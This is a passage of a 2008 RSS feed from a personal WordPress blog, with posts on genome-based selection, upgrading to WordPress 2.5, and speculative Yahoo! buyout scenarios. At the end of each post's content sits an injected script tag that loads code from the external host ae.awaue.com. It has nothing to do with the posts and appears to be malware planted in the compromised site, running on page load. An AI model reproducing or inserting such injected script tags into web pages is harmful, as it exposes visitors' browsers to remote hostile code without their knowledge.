<p>If you notice, all the above have a common theme of solving the problem of selection (the irony of <a href="http://en.wikipedia.org/wiki/Natural_selection">natural selection</a>). A way to solve it is to carefully quantify the selection criteria and score individual candidates against each criteria. Fortunately, that&#8217;s not mathematically and/or scientifically possible right now (that&#8217;s why we have approximation models). But that may all change once each selection criteria can be mapped to a specific gene. The selection problem will not only be solved, but the answer may be very accurate &#8211; too accurate.</p>
<p>Do you think its a good idea to decode the entire human genome? Will companies like 23andMe have unfortunate and undesired side-effects? Should there be a fair-use clause for DNA samples?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/04/08/attached-is-my-resume-and-dna/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Why upgrade to Wordpress 2.5 (5 min version)</title>
		<link>http://headphono.us/2008/03/30/why-upgrade-to-wordpress-25-5-min-version/</link>
		<comments>http://headphono.us/2008/03/30/why-upgrade-to-wordpress-25-5-min-version/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 00:25:34 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Actionstream Plugin]]></category>
		<category><![CDATA[Grid Focus theme]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Wordpress 2.5]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=53</guid>
		<description><![CDATA[Wordpress 2.5 finally launched after a few delays, and it hasn&#8217;t disappointed. I was glad to see them concentrating on revamping the Dashboard and the general Admin area. Wordpress has proven itself to be a solid extensible platform, but their admin area lacked in usability and flexibility.
The upgrade process was a snap thanks to this [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/download/">Wordpress 2.5</a> <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">finally launched</a> after a <a href="http://www.bloggingpro.com/archives/2008/03/12/wordpress-25-delayed-until/">few delays</a>, and it hasn&#8217;t disappointed. I was glad to see them concentrating on revamping the Dashboard and the general Admin area. Wordpress has proven itself to be a solid extensible platform, but their admin area lacked in usability and flexibility.</p>
<p>The upgrade process was a snap <a href="http://codex.wordpress.org/Upgrading_WordPress">thanks to this guide</a>. <span id="more-53"></span>The whole process took about 20 mins (backup, downloading the new version, overwriting, setting up plugins, and tweaking the template). Luckily, none of the plugins I use had any problems (including the <a href="http://headphono.us/2008/03/09/new-actionstreams-wordpress-plugin-released/">Actionstreams plugin</a>).</p>
<p>Here&#8217;s what I like about this release:</p>
<ul>
<li><strong>Visual Editor</strong>: The interface is less cluttered and slick. The <a href="http://wordpress.org/development/2008/03/wordpress-25-rc2/">full-screen version</a> rocks.</li>
<li><strong>Tags</strong>: Even though they were introduced as a core functionality in a previous release, they weren&#8217;t really usable until the new <a href="http://wordpress.org/development/2008/03/wordpress-25-rc2/">AJAXy version</a> came along in this release.</li>
<li><strong>Widget-based dashboard</strong>: Now plugins can use the Dashboard screen real-estate for administrative information like the <a href="http://wordpress.org/extend/plugins/stats/">WP Stats widget</a>.</li>
<li><strong>Lightweight UI</strong>: The UI looks more current than the previous &#8216;99 style. It looks more customizable, so I&#8217;m hoping for a outbreak of WP Admin themes (like the <a href="http://deanjrobinson.com/projects/fluency-admin/">useful Fluency theme</a>).</li>
<li><strong>Related section</strong>: In most admin pages, there is a nifty new section titled simply &#8220;Related&#8221;. It has a list of links that are related to the current page (writing a post, editing categories, managing comments, etc.)</li>
<li><strong>Multi-file uploading (with progress bar)</strong>: It&#8217;s very similar to the Flickr uploader. Its intuitive, easy and just works.</li>
<li><strong>Built-in galleries</strong>: Though I&#8217;m not sure if I&#8217;ll ever use this, its good to know that I could <a href="http://wordpress.org/development/2008/03/wordpress-25-rc2/">roll out my own gallery</a> instead of having to install another app. Amazingly, you only need to include the text <code></code> in your post to turn it into a gallery (complete with navigation).</li>
</ul>
<p>I highly recommend watching the <a href="http://wordpress.org/development/2008/03/wordpress-25-rc2/">4-min screencast</a> by <a href="http://ma.tt/">Matt Mullenweg</a> about the new Dashboard and Editor features.</p>
<p>For the curious, no additional tweaks were needed for the <a href="http://5thirtyone.com/grid-focus">Grid Focus theme</a> (the one used on my blog) to work in WP 2.5.</p>
<p><a href="http://wordpress.org/download/">Download Wordpress 2.5 here.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/03/30/why-upgrade-to-wordpress-25-5-min-version/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interesting (but mostly improbable) scenarios for Yahoo!</title>
		<link>http://headphono.us/2008/02/20/interesting-but-mostly-improbable-scenarios-for-yahoo/</link>
		<comments>http://headphono.us/2008/02/20/interesting-but-mostly-improbable-scenarios-for-yahoo/#comments</comments>
		<pubDate>Wed, 20 Feb 2008 07:31:46 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Yahoo!]]></category>

		<guid isPermaLink="false">http://headphono.us/2008/02/20/interesting-but-mostly-improbable-scenarios-for-yahoo/</guid>
		<description><![CDATA[There&#8217;s plenty of news and opinion about what will ultimately happen with the Yahoo buyout deal. What with news of talent exodus, golden parachutes, lack of formal rejection letters, and proxy battles. But stepping aside from the mainstream opinion clouds, let&#8217;s look at some of the other pervasive and completely tangential what-if scenarios:

Apple buys Yahoo! [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s plenty of news and opinion about what will ultimately happen with the Yahoo buyout deal. What with news of <a href="http://www.techcrunch.com/2008/02/12/yahoo-exec-bails-bradley-horowitz-leaves-for-google/">talent exodus</a>, <a href="http://www.news.com/8301-10784_3-9874578-7.html">golden parachutes</a>, <a href="http://www.news.com/Microsoft-waiting-for-formal-rejection-from-Yahoo/2100-1014_3-6231142.html?tag=newsmap">lack of formal rejection letters</a>, and <a href="http://blogs.wsj.com/deals/2008/02/19/a-yahoo-proxy-contest-how-good-are-microsofts-chances/">proxy battles</a>. But stepping aside from the mainstream opinion clouds, let&#8217;s look at some of the other pervasive and completely tangential what-if scenarios:</p>
<ol>
<li>Apple buys Yahoo! &#8211; As some have <a href="http://money.cnn.com/news/newsfeeds/articles/djf500/200802191802DOWJONESDJONLINE000803_FORTUNE5.htm">discussed here</a>, Yahoo! provides Apple with a huge entry into the Chinese market, helps with the online bits (iTunes, iStore, etc.). Apple in return helps Yahoo! maintain its online web presence and grow to lead the market share in search and display advertising. Other interesting integrations would be iChat+Yahoo! Messenger, Yahoo! Music+iTunes, iPhone+Yahoo! Go+oneConnect.</li>
<li>Yahoo! Japan buys Yahoo! Inc &#8211; Another idea that&#8217;s been <a href="http://valleywag.com/354529/the-7+eleven-deal-could-yahoo-japan-buy-yahoo">pondered here</a>. Yahoo! Japan is Google, Microsoft, Yahoo! all rolled into one in Japan. Can Yahoo! Japan swallow up Yahoo? What does Y! Japan stand to gain (if they already have the necessary technology <em>and</em> have the majority market share)? Will it help Y! Japan to have a controlling stake in Alibaba in the chinese market? That might make things interesting.</li>
<li>Amazon.com partners with Yahoo! &#8211; I&#8217;m not sure this has been discussed widely, but it would be an interesting angle. Amazon could help Yahoo! out with its shopping areas. Yahoo! Mobile could bring Amazon&#8217;s store to every mobile out there. In areas of technology, Yahoo! can contribute to (failed?) Amazon&#8217;s A9 Search, and both could join forces with Hadoop (and other grid computing efforts) with EC2. Bring in the social element of relating users&#8217; reviews, wishlists, etc. with their inboxes and voila, you have much more relevant advertising profiles.</li>
</ol>
<p>Some of the above are highly unlikely and most are probably not even on the table. But while you think about them, here are some parting questions:</p>
<ul>
<li>What other interesting scenarios can you think of?</li>
<li>What other partnerships could potentially make sense?</li>
<li>What other integrations can likely happen that haven&#8217;t been explored yet?</li>
</ul>
<p><em>Disclaimer: I don&#8217;t claim to have any insider information about the possibility of any of the above, nor are the views expressed in this article the views of my employer, Yahoo! </em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/02/20/interesting-but-mostly-improbable-scenarios-for-yahoo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 1.544 seconds -->
